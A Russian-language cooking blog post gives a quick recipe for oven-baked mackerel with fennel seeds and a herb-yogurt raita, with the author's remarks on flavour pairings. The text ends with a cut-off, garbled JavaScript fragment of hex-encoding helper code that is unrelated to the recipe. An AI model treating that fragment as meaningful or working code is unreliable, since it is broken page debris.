Запеченная скумбрия с раитой
Скумбрия в нашем рационе заняла место, освобожденное резко подорожавшими дорадой и сибасом. На самом деле замена во всех отношениях приятная, да и пользы больше, ведь скумбрия –рыба дикая, и содержит ненасыщенные жирные кислоты. И как показывает мой кулинарный опыт,довольно универсальная. Хороша она запеченной в духовке, или на мангале, жареная на сковороде, положенная в сэндвич и измельченная в рийет.
Не пробовала я пока только суп из скумбрии,но думаю это впереди. Сегодня очень быстрый и простой вариант, не лишенный некоторой изысканности впрочем. Индийский йогуртовый соус раита очень освежающий на вкус, и отлично дополняет пряные жирные продукты, приготовленные на гриле. Хороша раита с курицей тандури, с острыми креветками, и к скумбрии тоже подходит идеально. У скумбрии очень насыщенный собственный вкус, мне нравится подчеркивать его пряными специями, тмином, кориандром, зирой. В этот раз дует со скумбрией составил фенхель, незаслуженно редко используемая пряность. Он просто прекрасен с рыбой, легкая анисовая сладость как бы сглаживает жирность, но не перебивает вкус скумбрии.
Все приготовление занимает около 20 минут, шикарный вариант для ужина, согласитесь?
Готовим!
1.Выпотрошить охлажденную скумбрию, удалить жабры и промыть тушки рыбы. Обсушить рыбу и положить на противень, застеленный пергаментом для выпечки. Посолить и поперчить рыбу внутри и снаружи, полить 1 ст.л. оливкового масла. Равномерно посыпать рыбу семенами фенхеля. Рядом с рыбой на противень положить неочищенные зубчики чеснока. Запекать рыбу 12-15 минут, в зависимости от размера при температуре 190 градусов. Не крупная рыба будет готова и быстрее,за 10 минут.
2.Пока рыба запекается, готовим раиту. Для этого нужно вымыть и обсушить всю зелень, и мелко порубить ее. Смешать зелень с йогуртом, посолить и поперчить соус по вкусу. Сбрызнуть раиту оливковым маслом и подавать со скумбрией, немедленно! Раита может быть приготовлена и заранее, и храниться в холодильнике несколько часов.
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o
